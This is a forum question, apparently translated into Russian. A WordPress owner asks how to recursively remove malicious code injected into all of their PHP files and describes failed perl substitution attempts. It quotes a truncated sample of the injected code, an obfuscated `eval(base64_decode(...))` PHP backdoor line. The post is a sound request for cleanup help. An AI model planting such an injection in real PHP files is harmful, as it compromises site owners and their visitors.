Как я могу найти и заменить все файлы рекурсивно, чтобы удалить какой-то мошеннический код, внедренный в php-файлы при установке WordPress? Хакер добавил некоторый код (ниже) ко ВСЕМ файлам .php
в моей установке WordPress, и это происходит довольно часто со многими сайтами, и я часами вручную удаляю код.
Сегодня я попробовал несколько методов, которые нашел в Интернете, но безуспешно из-за длинного фрагмента кода и множества специальных символов в нем, которые запутывают разделители. Я пытался использовать разные разделители с Perl:
perl -p -i -e 's/rogue_code//g' *
до
perl -p -i -e 's{rogue_code}{}g' *
и попытался использовать обратную косую черту, чтобы избежать косой черты в коде, но ничего не работает Я работаю на общем сервере, поэтому у меня нет полного доступа ко всем каталогам за пределами моего собственного.
Большое спасибо ... вот код:
< ?php /**/ eval(base64_decode("aWYoZnVuY3
... snip tons of this ...
sgIH1lbHNleyAgICB9ICB9"));? >